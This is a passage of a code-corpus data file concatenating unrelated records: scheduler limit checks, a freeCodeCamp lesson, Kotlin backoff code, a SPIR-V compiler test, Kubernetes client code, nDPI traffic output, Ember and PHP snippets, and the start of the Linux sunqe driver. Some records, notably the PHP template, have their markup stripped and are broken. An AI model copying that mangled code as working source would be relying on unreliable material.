g_sds_lim GT 0b AND jsds GT 0b AND\n\t\t\t\t\t \t(tsds + jsds) GT g_sds_lim ) {\n\t\t\t\tcontinue;\n\t\t\t}\n\n\t\t\tthis_group = JobEffectiveGroupNameGet(j); \n\t\t\tthis_user = JobEffectiveUserNameGet(j);\n\t\t\tthis_queue = q;\n\n\t\t\tget_totals_grp_usr_que(master, this_group, this_user,q);\n\t\t\n//\t\t\tCheck global group limit\n\t\t\tif( g_grp_lim GT 0 AND tgrp GE g_grp_lim ) {\n\t\t\t\tcontinue;\n\t\t\t}\n\n//\t\t\tCheck global user limit\n\t\t\tif( g_usr_lim GT 0 AND tusr GE g_usr_lim ) {\n\t\t\t\tcontinue;\n\t\t\t}\n\n//\t\t\tCheck the queue run limit\n\t\t\tif( q_run_lim GT 0 AND qrun GE q_run_lim ) {\n\t\t\t\tcontinue;\n\t\t\t}\n\t\t\t\n//\t\t\tCheck the queue group limit\n\t\t\tif( q_grp_lim GT 0 AND qgrp GE q_grp_lim ) {\n\t\t\t\tcontinue;\n\t\t\t}\n\t\t\n//\t\t\tCheck the queue user limit\n\t\t\tif( q_usr_lim GT 0 AND qusr GE q_usr_lim ) {\n\t\t\t\tcontinue;\n\t\t\t}\n\t\t\t\n\t\t\tjmem = JobSizeResReqGet(j, \"mem\");\n//\t\t\tCheck the queue memory limit\n\t\t\tif( q_mem_lim GT 0b AND jmem GT 0b AND\n\t\t\t\t\t\t(qmem + jmem) GT q_mem_lim ) {\n\t\t\t\tcontinue;\n\t\t\t}\n//\t\t\tCheck the queue MPP limit.\n\t\t\tif( q_mpp_lim GT 0 AND jmpp GT 0 AND\n\t\t\t\t\t\t(qmpp + jmpp) GT q_mpp_lim ) {\n\t\t\t\tcontinue;\n\t\t\t}\n\n//\t\t\tCheck the queue MPP limit.\n\t\t\tif( q_sds_lim GT 0b AND jsds GT 0b AND\n\t\t\t\t\t\t(qsds + jsds) GT q_sds_lim ) {\n\t\t\t\tcontinue;\n\t\t\t}\n\n//\t\t\tRun job synchronously\n\t\t\tif( JobAction(j, SYNCRUN, NULLSTR) EQ SUCCESS ) {\n\t\t\t\ttrun++;\t\n\t\t\t\tif( jmem GT 0b ) {\n\t\t\t\t\ttmem = tmem + jmem;\n\t\t\t\t}\t\n\t\t\t\tif( jmpp GT 0 ) {\n\t\t\t\t\ttmpp = tmpp + jmpp;\n\t\t\t\t}\n\t\t\t\tif( jsds GT 0b ) {\n\t\t\t\t\ttsds = tsds + jsds;\n\t\t\t\t}\n\t\t\t\t\t\n\t\t\t}\n\t\t}\n\t}\n\n\n}\n"} +{"text": "---\nid: 587d7b85367417b2b2512b38\ntitle: Catch Use of Assignment Operator Instead of Equality Operator\nchallengeType: 1\nforumTopicId: 301191\nlocaleTitle: 捕获使用赋值运算符而不是相等运算符\n---\n\n## Description\n
\n分支程序,即在满足某些条件时执行不同操作的程序,依赖于 JavaScript 中的ifelse ifelse语句。条件有时采取测试一个结果是否等于一个值的形式。\n这种逻辑可以表述为“如果 x 等于 y ,则......”,听起来像是可以使用=(即赋值运算符)。然而,这会导致程序中流程出问题。\n如前面的挑战所述,JavaScript 中的赋值运算符 (=) 是用来为变量名赋值的。并且=====运算符检查相等性(三等号===是用来测试是否严格相等的,严格相等的意思是值和类型都必须相同)。\n下面的代码将x赋值为 2,表达式x = y会在执行后得到true。JavaScript 会把大部分的值都视为true,除了所谓的 \"falsy\" 值,即:false0\"\"(空字符串)、NaNundefinednull。\n\n```js\nlet x = 1;\nlet y = 2;\nif (x = y) {\n // 除了 \"falsy\" 值以外 y 为任意值时这个代码块都将执行\n} else {\n // 按本例用意这个代码块应该执行(但其实不会)。\n}\n```\n
\n\n## Instructions\n
\n修复条件语句,以便程序运行正确的分支,并给result赋上正确的值。\n
\n\n## Tests\n
\n\n```yml\ntests:\n - text: 你应该修复条件语句,使其判断是否相等,而不是赋值。\n testString: assert(result == \"Not equal!\");\n - text: 条件语句可以使用=====来测试是否相等。\n testString: assert(code.match(/x\\s*?===?\\s*?y/g));\n\n```\n\n
\n\n## Challenge Seed\n
\n\n
\n\n```js\nlet x = 7;\nlet y = 9;\nlet result = \"to come\";\n\nif(x = y) {\n result = \"Equal!\";\n} else {\n result = \"Not equal!\";\n}\n\nconsole.log(result);\n```\n\n
\n\n\n\n
\n\n## Solution\n
\n\n```js\nlet x = 7;\nlet y = 9;\nlet result = \"to come\";\n\nif(x === y) {\n result = \"Equal!\";\n} else {\n result = \"Not equal!\";\n}\n\nconsole.log(result);\n```\n\n
\n"} +{"text": "/*\n * © 2018 Match Group, LLC.\n */\n\npackage com.tinder.scarlet.retry\n\nimport java.util.Random\n\nclass ExponentialWithJitterBackoffStrategy(\n val baseDurationMillis: Long,\n val maxDurationMillis: Long,\n private val random: Random = Random()\n) : BackoffStrategy {\n\n private val exponentialBackoffRetryStrategy = ExponentialBackoffStrategy(baseDurationMillis, maxDurationMillis)\n\n override fun backoffDurationMillisAt(retryCount: Int): Long {\n val duration = exponentialBackoffRetryStrategy.backoffDurationMillisAt(retryCount)\n if (duration == maxDurationMillis) {\n return duration\n }\n return duration.withJitter()\n }\n\n private fun Long.withJitter(): Long = (0..this).random()\n\n private fun ClosedRange.random() = random.nextInt((endInclusive - start).toInt()) + start\n}\n"} +{"text": "// Run: %dxc -T vs_6_0 -E main\n\nvoid main() {\n// CHECK-LABEL: %bb_entry = OpLabel\n\n int1 a, b, c;\n int2 i, j, k;\n uint3 o, p, q;\n float4 x, y, z;\n\n// CHECK: [[a0:%\\d+]] = OpLoad %int %a\n// CHECK-NEXT: [[b0:%\\d+]] = OpLoad %int %b\n// CHECK-NEXT: [[add0:%\\d+]] = OpIAdd %int [[a0]] [[b0]]\n// CHECK-NEXT: OpStore %c [[add0]]\n c = a + b;\n// CHECK-NEXT: [[i0:%\\d+]] = OpLoad %v2int %i\n// CHECK-NEXT: [[j0:%\\d+]] = OpLoad %v2int %j\n// CHECK-NEXT: [[add1:%\\d+]] = OpIAdd %v2int [[i0]] [[j0]]\n// CHECK-NEXT: OpStore %k [[add1]]\n k = i + j;\n// CHECK-NEXT: [[o0:%\\d+]] = OpLoad %v3uint %o\n// CHECK-NEXT: [[p0:%\\d+]] = OpLoad %v3uint %p\n// CHECK-NEXT: [[add2:%\\d+]] = OpIAdd %v3uint [[o0]] [[p0]]\n// CHECK-NEXT: OpStore %q [[add2]]\n q = o + p;\n// CHECK-NEXT: [[x0:%\\d+]] = OpLoad %v4float %x\n// CHECK-NEXT: [[z0:%\\d+]] = OpLoad %v4float %y\n// CHECK-NEXT: [[add3:%\\d+]] = OpFAdd %v4float [[x0]] [[z0]]\n// CHECK-NEXT: OpStore %z [[add3]]\n z = x + y;\n\n// CHECK-NEXT: [[a1:%\\d+]] = OpLoad %int %a\n// CHECK-NEXT: [[b1:%\\d+]] = OpLoad %int %b\n// CHECK-NEXT: [[sub0:%\\d+]] = OpISub %int [[a1]] [[b1]]\n// CHECK-NEXT: OpStore %c [[sub0]]\n c = a - b;\n// CHECK-NEXT: [[i1:%\\d+]] = OpLoad %v2int %i\n// CHECK-NEXT: [[j1:%\\d+]] = OpLoad %v2int %j\n// CHECK-NEXT: [[sub1:%\\d+]] = OpISub %v2int [[i1]] [[j1]]\n// CHECK-NEXT: OpStore %k [[sub1]]\n k = i - j;\n// CHECK-NEXT: [[o1:%\\d+]] = OpLoad %v3uint %o\n// CHECK-NEXT: [[p1:%\\d+]] = OpLoad %v3uint %p\n// CHECK-NEXT: [[sub2:%\\d+]] = OpISub %v3uint [[o1]] [[p1]]\n// CHECK-NEXT: OpStore %q [[sub2]]\n q = o - p;\n// CHECK-NEXT: [[x1:%\\d+]] = OpLoad %v4float %x\n// CHECK-NEXT: [[y1:%\\d+]] = OpLoad %v4float %y\n// CHECK-NEXT: [[sub3:%\\d+]] = OpFSub %v4float [[x1]] [[y1]]\n// CHECK-NEXT: OpStore %z [[sub3]]\n z = x - y;\n\n// CHECK-NEXT: [[a2:%\\d+]] = OpLoad %int %a\n// CHECK-NEXT: [[b2:%\\d+]] = OpLoad %int %b\n// CHECK-NEXT: [[mul0:%\\d+]] = OpIMul %int [[a2]] [[b2]]\n// CHECK-NEXT: OpStore %c [[mul0]]\n c = a * b;\n// CHECK-NEXT: [[i2:%\\d+]] = OpLoad %v2int %i\n// CHECK-NEXT: [[j2:%\\d+]] = OpLoad %v2int %j\n// CHECK-NEXT: [[mul1:%\\d+]] = OpIMul %v2int [[i2]] [[j2]]\n// CHECK-NEXT: OpStore %k [[mul1]]\n k = i * j;\n// CHECK-NEXT: [[o2:%\\d+]] = OpLoad %v3uint %o\n// CHECK-NEXT: [[p2:%\\d+]] = OpLoad %v3uint %p\n// CHECK-NEXT: [[mul2:%\\d+]] = OpIMul %v3uint [[o2]] [[p2]]\n// CHECK-NEXT: OpStore %q [[mul2]]\n q = o * p;\n// CHECK-NEXT: [[x2:%\\d+]] = OpLoad %v4float %x\n// CHECK-NEXT: [[y2:%\\d+]] = OpLoad %v4float %y\n// CHECK-NEXT: [[mul3:%\\d+]] = OpFMul %v4float [[x2]] [[y2]]\n// CHECK-NEXT: OpStore %z [[mul3]]\n z = x * y;\n\n// CHECK-NEXT: [[a4:%\\d+]] = OpLoad %int %a\n// CHECK-NEXT: [[b4:%\\d+]] = OpLoad %int %b\n// CHECK-NEXT: [[div0:%\\d+]] = OpSDiv %int [[a4]] [[b4]]\n// CHECK-NEXT: OpStore %c [[div0]]\n c = a / b;\n// CHECK-NEXT: [[i4:%\\d+]] = OpLoad %v2int %i\n// CHECK-NEXT: [[j4:%\\d+]] = OpLoad %v2int %j\n// CHECK-NEXT: [[div1:%\\d+]] = OpSDiv %v2int [[i4]] [[j4]]\n// CHECK-NEXT: OpStore %k [[div1]]\n k = i / j;\n// CHECK-NEXT: [[o4:%\\d+]] = OpLoad %v3uint %o\n// CHECK-NEXT: [[p4:%\\d+]] = OpLoad %v3uint %p\n// CHECK-NEXT: [[div2:%\\d+]] = OpUDiv %v3uint [[o4]] [[p4]]\n// CHECK-NEXT: OpStore %q [[div2]]\n q = o / p;\n// CHECK-NEXT: [[x4:%\\d+]] = OpLoad %v4float %x\n// CHECK-NEXT: [[y4:%\\d+]] = OpLoad %v4float %y\n// CHECK-NEXT: [[div3:%\\d+]] = OpFDiv %v4float [[x4]] [[y4]]\n// CHECK-NEXT: OpStore %z [[div3]]\n z = x / y;\n\n// CHECK-NEXT: [[a5:%\\d+]] = OpLoad %int %a\n// CHECK-NEXT: [[b5:%\\d+]] = OpLoad %int %b\n// CHECK-NEXT: [[mod0:%\\d+]] = OpSRem %int [[a5]] [[b5]]\n// CHECK-NEXT: OpStore %c [[mod0]]\n c = a % b;\n// CHECK-NEXT: [[i5:%\\d+]] = OpLoad %v2int %i\n// CHECK-NEXT: [[j5:%\\d+]] = OpLoad %v2int %j\n// CHECK-NEXT: [[mod1:%\\d+]] = OpSRem %v2int [[i5]] [[j5]]\n// CHECK-NEXT: OpStore %k [[mod1]]\n k = i % j;\n// CHECK-NEXT: [[o5:%\\d+]] = OpLoad %v3uint %o\n// CHECK-NEXT: [[p5:%\\d+]] = OpLoad %v3uint %p\n// CHECK-NEXT: [[mod2:%\\d+]] = OpUMod %v3uint [[o5]] [[p5]]\n// CHECK-NEXT: OpStore %q [[mod2]]\n q = o % p;\n// CHECK-NEXT: [[x5:%\\d+]] = OpLoad %v4float %x\n// CHECK-NEXT: [[y5:%\\d+]] = OpLoad %v4float %y\n// CHECK-NEXT: [[mod3:%\\d+]] = OpFRem %v4float [[x5]] [[y5]]\n// CHECK-NEXT: OpStore %z [[mod3]]\n z = x % y;\n}\n"} +{"text": "/*\nCopyright The Kubernetes Authors.\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\n// Code generated by client-gen. DO NOT EDIT.\n\npackage v1beta1\n\nimport (\n\t\"time\"\n\n\tv1beta1 \"k8s.io/api/events/v1beta1\"\n\tv1 \"k8s.io/apimachinery/pkg/apis/meta/v1\"\n\ttypes \"k8s.io/apimachinery/pkg/types\"\n\twatch \"k8s.io/apimachinery/pkg/watch\"\n\tscheme \"k8s.io/client-go/kubernetes/scheme\"\n\trest \"k8s.io/client-go/rest\"\n)\n\n// EventsGetter has a method to return a EventInterface.\n// A group's client should implement this interface.\ntype EventsGetter interface {\n\tEvents(namespace string) EventInterface\n}\n\n// EventInterface has methods to work with Event resources.\ntype EventInterface interface {\n\tCreate(*v1beta1.Event) (*v1beta1.Event, error)\n\tUpdate(*v1beta1.Event) (*v1beta1.Event, error)\n\tDelete(name string, options *v1.DeleteOptions) error\n\tDeleteCollection(options *v1.DeleteOptions, listOptions v1.ListOptions) error\n\tGet(name string, options v1.GetOptions) (*v1beta1.Event, error)\n\tList(opts v1.ListOptions) (*v1beta1.EventList, error)\n\tWatch(opts v1.ListOptions) (watch.Interface, error)\n\tPatch(name string, pt types.PatchType, data []byte, subresources ...string) (result *v1beta1.Event, err error)\n\tEventExpansion\n}\n\n// events implements EventInterface\ntype events struct {\n\tclient rest.Interface\n\tns string\n}\n\n// newEvents returns a Events\nfunc newEvents(c *EventsV1beta1Client, namespace string) *events {\n\treturn &events{\n\t\tclient: c.RESTClient(),\n\t\tns: namespace,\n\t}\n}\n\n// Get takes name of the event, and returns the corresponding event object, and an error if there is any.\nfunc (c *events) Get(name string, options v1.GetOptions) (result *v1beta1.Event, err error) {\n\tresult = &v1beta1.Event{}\n\terr = c.client.Get().\n\t\tNamespace(c.ns).\n\t\tResource(\"events\").\n\t\tName(name).\n\t\tVersionedParams(&options, scheme.ParameterCodec).\n\t\tDo().\n\t\tInto(result)\n\treturn\n}\n\n// List takes label and field selectors, and returns the list of Events that match those selectors.\nfunc (c *events) List(opts v1.ListOptions) (result *v1beta1.EventList, err error) {\n\tvar timeout time.Duration\n\tif opts.TimeoutSeconds != nil {\n\t\ttimeout = time.Duration(*opts.TimeoutSeconds) * time.Second\n\t}\n\tresult = &v1beta1.EventList{}\n\terr = c.client.Get().\n\t\tNamespace(c.ns).\n\t\tResource(\"events\").\n\t\tVersionedParams(&opts, scheme.ParameterCodec).\n\t\tTimeout(timeout).\n\t\tDo().\n\t\tInto(result)\n\treturn\n}\n\n// Watch returns a watch.Interface that watches the requested events.\nfunc (c *events) Watch(opts v1.ListOptions) (watch.Interface, error) {\n\tvar timeout time.Duration\n\tif opts.TimeoutSeconds != nil {\n\t\ttimeout = time.Duration(*opts.TimeoutSeconds) * time.Second\n\t}\n\topts.Watch = true\n\treturn c.client.Get().\n\t\tNamespace(c.ns).\n\t\tResource(\"events\").\n\t\tVersionedParams(&opts, scheme.ParameterCodec).\n\t\tTimeout(timeout).\n\t\tWatch()\n}\n\n// Create takes the representation of a event and creates it. Returns the server's representation of the event, and an error, if there is any.\nfunc (c *events) Create(event *v1beta1.Event) (result *v1beta1.Event, err error) {\n\tresult = &v1beta1.Event{}\n\terr = c.client.Post().\n\t\tNamespace(c.ns).\n\t\tResource(\"events\").\n\t\tBody(event).\n\t\tDo().\n\t\tInto(result)\n\treturn\n}\n\n// Update takes the representation of a event and updates it. Returns the server's representation of the event, and an error, if there is any.\nfunc (c *events) Update(event *v1beta1.Event) (result *v1beta1.Event, err error) {\n\tresult = &v1beta1.Event{}\n\terr = c.client.Put().\n\t\tNamespace(c.ns).\n\t\tResource(\"events\").\n\t\tName(event.Name).\n\t\tBody(event).\n\t\tDo().\n\t\tInto(result)\n\treturn\n}\n\n// Delete takes name of the event and deletes it. Returns an error if one occurs.\nfunc (c *events) Delete(name string, options *v1.DeleteOptions) error {\n\treturn c.client.Delete().\n\t\tNamespace(c.ns).\n\t\tResource(\"events\").\n\t\tName(name).\n\t\tBody(options).\n\t\tDo().\n\t\tError()\n}\n\n// DeleteCollection deletes a collection of objects.\nfunc (c *events) DeleteCollection(options *v1.DeleteOptions, listOptions v1.ListOptions) error {\n\tvar timeout time.Duration\n\tif listOptions.TimeoutSeconds != nil {\n\t\ttimeout = time.Duration(*listOptions.TimeoutSeconds) * time.Second\n\t}\n\treturn c.client.Delete().\n\t\tNamespace(c.ns).\n\t\tResource(\"events\").\n\t\tVersionedParams(&listOptions, scheme.ParameterCodec).\n\t\tTimeout(timeout).\n\t\tBody(options).\n\t\tDo().\n\t\tError()\n}\n\n// Patch applies the patch and returns the patched event.\nfunc (c *events) Patch(name string, pt types.PatchType, data []byte, subresources ...string) (result *v1beta1.Event, err error) {\n\tresult = &v1beta1.Event{}\n\terr = c.client.Patch(pt).\n\t\tNamespace(c.ns).\n\t\tResource(\"events\").\n\t\tSubResource(subresources...).\n\t\tName(name).\n\t\tBody(data).\n\t\tDo().\n\t\tInto(result)\n\treturn\n}\n"} +{"text": "DoH_DoT\t24\t5869\t1\n\nJA3 Host Stats: \n\t\t IP Address \t # JA3C \n\t1\t 192.168.1.185 \t 1 \n\n\n\t1\tTCP 192.168.1.185:58290 <-> 8.8.8.8:853 [proto: 91.196/TLS.DoH_DoT][cat: Network/14][14 pkts/1480 bytes <-> 10 pkts/4389 bytes][Goodput ratio: 37/85][3.01 sec][bytes ratio: -0.496 (Download)][IAT c2s/s2c min/avg/max/stddev: 0/0 270/182 1596/1192 531/413][Pkt Len c2s/s2c min/avg/max/stddev: 66/66 106/439 264/3135 53/903][Risk: ** Known protocol on non standard port **** TLS Certificate Mismatch **** TLS (probably) not carrying HTTPS **** SNI TLS extension was missing **][TLSv1.2][JA3C: 4fe4099926d0acdc9b2fe4b02013659f][ServerNames: dns.google,*.dns.google.com,8888.google,dns.google.com,dns64.dns.google][JA3S: 2b341b88c742e940cfb485ce7d93dde7][Issuer: C=US, O=Google Trust Services, CN=GTS CA 1O1][Subject: C=US, ST=California, L=Mountain View, O=Google LLC, CN=dns.google][Certificate SHA-1: BE:73:46:2A:2E:FB:A9:E9:42:D0:71:10:1B:8C:BF:44:6A:5D:AD:53][Validity: 2019-10-10 20:58:42 - 2020-01-02 20:58:42][Cipher: TLS_ECDHE_RSA_WITH_CHACHA20_POLY1305_SHA256][Plen Bins: 23,7,23,15,0,7,7,0,7,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,7]\n"} +{"text": "import Component from '@ember/component';\nimport layout from '../templates/components/x-paragraph';\n\nexport default Component.extend({\n layout,\n tagName: 'p',\n classNames: ['c-paragraph'],\n});\n"} +{"text": "id : 0; \n?>\n
\n\n
\n\n\n\n setTitle($posts[0]->subject); ?>\n $posts)); ?>\n\n\n\n
\n Oops, this news post can not be found.\n
\n\n\n\n
\n 'btn btn-success')) ?>\n getUserName() === 'fuaburisu' || $sf_user->isAdministrator()): ?>\n Edit Post', \"news/post?post_id=$post_id\", array('class' => 'btn btn-ghost')) ?>\n \n\n
\n\n
\n\n
\n \n
\n\n
\n"} +{"text": "// SPDX-License-Identifier: GPL-2.0\n/* sunqe.c: Sparc QuadEthernet 10baseT SBUS card driver.\n * Once again I am out to prove that every ethernet\n * controller out there can be most efficiently programmed\n * if you make it look like a LANCE.\n *\n * Copyright (C) 1996, 1999, 2003, 2006, 2008 David S. Miller (davem@davemloft.net)\n */\n\n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n\n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n\n#include \"sunqe.h\"\n\n#define DRV_NAME\t\"sunqe\"\n#define DRV_VERSION\t\"4.1\"\n#define DRV_RELDATE\t\"August 27, 2008\"\n#define DRV_AUTHOR\t\"David S. Miller (davem@davemloft.net)\"\n\nstatic char version[] =\n\tDRV_NAME \".c:v\" DRV_VERSION \" \" DRV_RELDATE \" \" DRV_AUTHOR \"\\n\";\n\nMODULE_VERSION(DRV_VERSION);\nMODULE_AUTHOR(DRV_AUTHOR);\nMODULE_DESCRIPTION(\"Sun QuadEthernet 10baseT SBUS card driver\");\nMODULE_LICENSE(\"GPL\");\n\nstatic struct sunqec *root_qec_dev;\n\nstatic void qe_set_multicast(struct net_device *dev);\n\n#define QEC_RESET_TRIES 200\n\nstatic inline int qec_global_reset(void __iomem *gregs)\n{\n\tint tries = QEC_RESET_TRIES;\n\n\tsbus_writel(GLOB_CTRL_RESET, gregs + GLOB_CTRL);\n\twhile (--tries) {\n\t\tu32 tmp = sbus_readl(gregs + GLOB_CTRL);\n\t\tif (tmp & GLOB_CTRL_RESET) {\n\t\t\tudelay(20);\n\t\t\tcontinue;\n\t\t}\n\t\tbreak;\n\t}\n\tif (tries)\n\t\treturn 0;\n\tprintk(KERN_ERR \"QuadEther: AIEEE cannot reset the QEC!\\n\");\n\treturn -1;\n}\n\n#define MACE_RESET_RETRIES 200\n#define QE_RESET_RETRIES 200\n\nstatic inline int qe_stop(struct sunqe *qep)\n{\n\tvoid __iomem *cregs = qep->qcregs;\n\tvoid __iomem *mregs = qep->mregs;\n\tint tries;\n\n\t/* Reset the MACE, then the QEC channel. */\n\tsbus_writeb(MREGS_BCONFIG_RESET, mregs + MREGS_BCONFIG);\n\ttries = MACE_RESET_RETRIES;\n\twhile (--tries) {\n\t\tu8 tmp = sbus_readb(mregs + MREGS_BCONFIG);\n\t\tif (tmp & MREGS_BCONFIG_RESET) {\n\t\t\tudelay(20);\n\t\t\tcontinue;\n\t\t}\n\t\tbreak;\n\t}\n\tif (!tries) {\n\t\tprintk(KERN_ERR \"QuadEther: AIEEE cannot reset the MACE!\\n\");\n\t\treturn -1;\n\t}\n\n\tsbus_writel(CREG_CTRL_RESET, cregs + CREG_CTRL);\n\ttries = QE_RESET_RETRIES;\n\twhile (--tries) {\n\t\tu32 tmp = sbus_readl(cregs + CREG_CTRL);\n\t\tif (tmp & CREG_CTRL_RESET) {\n\t\t\tudelay(20);\n\t\t\tcontinue;\n\t\t}\n\t\tbreak;\n\t}\n\tif (!tries) {\n\t\tprintk(KERN_ERR \"QuadEther: Cannot reset QE channel!\\n\");\n\t\treturn -1;\n\t}\n\treturn 0;\n}\n\nstatic void qe_init_rings(struct sunqe *qep)\n{\n\tstruct qe_init_block *qb = qep->qe_block;\n\tstruct sunqe_buffers *qbufs = qep->buffers;\n\t__u32 qbufs_dvma = (__u32)qep->buffers_dvma;\n\tint i;\n\n\tqep->rx_new = qep->rx_old = qep->tx_new = qep->tx_old = 0;\n\tmemset(qb, 0, sizeof(struct qe_init_block));\n\tmemset(qbufs, 0, sizeof(struct sunqe_buffers));\n\tfor (i = 0; i < RX_RING_SIZE; i++) {\n\t\tqb->qe_rxd[i].rx_addr = qbufs_dvma + qebuf_offset(rx_buf, i);\n\t\tqb->qe_rxd[i].rx_flags =\n\t\t\t(RXD_OWN | ((RXD_PKT_SZ) & RXD_LENGTH));\n\t}\n}\n\nstatic int qe_init(struct sunqe *qep, int from_irq)\n{\n\tstruct sunqec *qecp = qep->parent;\n\tvoid __iomem *cregs = qep->qcregs;\n\tvoid __iomem *mregs = qep->mregs;\n\tvoid __iomem *gregs = qecp->gregs;\n\tunsigned char *e = &qep->dev->dev_addr[0];\n\t__u32 qblk_dvma = (__u32)qep->qblock_dvma;\n\tu32 tmp;\n\tint i;\n\n\t/* Shut it up. */\n\tif (qe_stop(qep))\n\t\treturn -EAGAIN;\n\n\t/* Setup initial rx/tx init block pointers. */\n\tsbus_writel(qblk_dvma + qib_offset(qe_rxd, 0), cregs + CREG_RXDS);\n\tsbus_writel(qblk_dvma + qib_offset(qe_txd, 0), cregs + CREG_TXDS);\n\n\t/* Enable/mask the various irq's. */\n\tsbus_writel(0, cregs + CREG_RIMASK);\n\tsbus_writel(1, cregs + CREG_TIMASK);\n\n\tsbus_writel(0, cregs + CREG_QMASK);\n\tsbus_writel(CREG_MMASK_RXCOLL, cregs + CREG_MMASK);\n\n\t/* Setup the FIFO pointers into QEC local memory. */\n\ttmp = qep->channel * sbus_readl(gregs + GLOB_MSIZE);\n\tsbus_writel(tmp, cregs + CREG_RXRBUFPTR);\n\tsbus_writel(tmp, cregs + CREG_RXWBUFPTR);\n\n\ttmp = sbus_readl(cregs + CREG_RXRBUFPTR) +\n\t\tsbus_readl(gregs + GLOB_RSIZE);\n\tsbus_writel(tmp, cregs + CREG_TXRBUFPTR);\n\tsbus_writel(tmp, cregs + CREG_TXWBUFPTR);\n\n\t/* Clear the channel collision counter. */\n\tsbus_writel(0, cregs + CREG_CCNT);\n\n\t/* For 10baseT, inter frame space nor throttle seems to be necessary. */\n\tsbus_writel(0, cregs + CREG_PIPG);\n\n\t/* Now dork with the AMD MACE. */\n\tsbus_writeb(MREGS_PHYCONFIG_AUTO, mregs + MREGS_PHYCONFIG);\n\tsbus_writeb(MREGS_TXFCNTL_AUTOPAD, mregs + MREGS_TXFCNTL);\n\tsbus_writeb(0, mregs + MREGS_RXFCNTL);\n\n\t/* The QEC dma's the rx'd packets from local memory out to main memory,\n\t * and therefore it interrupts when the packet reception is \"complete\".\n\t * So don't listen for the MACE talking about it.\n\t */\n\tsbus_writeb(MREGS_IMASK_COLL | MREGS_IMASK_RXIRQ, mregs + MREGS_IMASK);\n\tsbus_writeb(MREGS_BCONFIG_BSWAP | MREGS_BCONFIG_64TS, mregs + MREGS_BCONFIG);\n\tsbus_writeb((MREGS_FCONFIG_TXF16 | MREGS_FCONFIG_RXF32 |\n\t\t MREGS_FCONFIG_RFWU | MREGS_FCONFIG_TFWU),\n\t\t mregs + MREGS_FCONFIG);\n\n\t/* Only usable interface on QuadEther is twisted pair. */\n\tsbus_writeb(MREGS_PLSCONFIG_TP, mregs + MREGS_PLSCONFIG);\n\n\t/* Tell MACE we are changing the ether address. */\n\tsbus_writeb(MREGS_IACONFIG_ACHNGE | MREGS_IACONFIG_PARESET,\n\t\t mregs + MREGS_IACONFIG);\n\twhile ((sbus_readb(mregs + MREGS_IACONFIG) & MREGS_IACONFIG_ACHNGE) != 0)\n\t\tbarrier();\n\tsbus_writeb(e[0], mregs + MREGS_ETHADDR);\n\tsbus_writeb(e[1], mregs + MREGS_ETHADDR);\n\tsbus_writeb(e[2], mregs + MREGS_ETHADDR);\n\tsbus_writeb(e[3], mregs + MREGS_ETHADDR);\n\tsbus_writeb(e[4], mregs + MREGS_ETHADDR);\n\tsbus_writeb(e[5], mregs + MREGS_ETHADDR);\n\n\t/* Clear out the address filter. */\n\tsbus_writeb(MREGS_IACONFIG_ACHNGE | MREGS_IACONFIG_LARESET,\n\t\t mregs + MREGS_IACONFIG);\n\twhile ((sbus_readb(mregs + MREGS_IACONFIG) & MREGS_IACONFIG_ACHNGE) != 0)\n\t\tbarrier();\n\tfor (i = 0; i < 8; i++)\n\t\tsbus_writeb(0, mregs + MREGS_FILTER);\n\n\t/* Address changes are now complete. */\n\tsbus_writeb(0, mregs + MREGS_IACONFIG);\n\n\tqe_init_rings(qep);\n\n\t/* Wait a little bit for the link to come up... */\n\tmdelay(5);\n\tif (!(sbus_readb(mregs + MREGS_PHYCONFIG) & MREGS_PHYCONFIG_LTESTDIS)) {\n\t\tint tries = 50;\n\n\t\twhile (--tries) {\n\t\t\tu8 tmp;\n\n\t\t\tmdelay(5);\n\t\t\tbarrier();\n\t\t\ttmp = sbus_readb(mregs + MREGS_PHYCONFIG);\n\t\t\tif ((tmp & MREGS_PHYCONFIG_LSTAT) != 0)\n\t\t\t\tbreak;\n\t\t}\n\t\tif (tries == 0)\n\t\t\tprintk(KERN_NOTICE \"%s: Warning, link state is down.\\n\", qep->dev->name);\n\t}\n\n\t/* Missed packet counter is cleared on a read. */\n\tsbus_readb(mregs + MREGS_MPCNT);\n\n\t/* Reload multicast information, this will enable the receiver\n\t * and transmitter.\n\t */\n\tqe_set_multicast(qep->dev);\n\n\t/* QEC should now start to show interrupts. */\n\treturn 0;\n}\n\n/* Grrr, certain error conditions completely lock up the AMD MACE,\n * so when we get these we _must_ reset the chip.\n */\nstatic int qe_is_bolixed(struct sunqe *qep, u32 qe_status)\n{\n\tstruct net_device *dev = qep->dev;\n\tint mace_hwbug_workaround = 0;\n\n\tif (qe_status & CREG_STAT_EDEFER) {\n\t\tprintk(KERN_ERR \"%s: Excessive transmit defers.\\n\", dev->name);\n\t\tdev->stats.tx_errors++;\n\t}\n\n\tif (qe_status & CREG_STAT_CLOSS) {\n\t\tprintk(KERN_ERR \"%s: Carrier lost, link down?\\n\", dev->name);\n\t\tdev->stats.tx_errors++;\n\t\tdev->stats.tx_carrier_errors++;\n\t}\n\n\tif (qe_status & CREG_STAT_ERETRIES) {\n\t\tprintk(KERN_ERR \"%s: Excessive transmit retries (more than 16).\\n\", dev->name);\n\t\tdev->stats.tx_errors++;\n\t\tmace_hwbug_workaround = 1;\n\t}\n\n\tif (qe_status & CREG_STAT_LCOLL) {\n\t\tprintk(KERN_ERR \"%s: Late transmit collision.\\n\", dev->name);\n\t\tdev->stats.tx_errors++;\n\t\tdev->stats.collisions++;\n\t\tmace_hwbug_workaround = 1;\n\t}\n\n\tif (qe_status & CREG_STAT_FUFLOW) {\n\t\tprintk(KERN_ERR \"%s: Transmit fifo underflow, driver bug.\\n\", dev->name);\n\t\tdev->stats.tx_errors++;\n\t\tmace_hwbug_workaround = 1;\n\t}\n\n\tif (qe_status & CREG_STAT_JERROR) {\n\t\tprintk(KERN_ERR \"%s: Jabber error.\\n\", dev->name);\n\t}\n\n\tif (qe_status & CREG_STAT_BERROR) 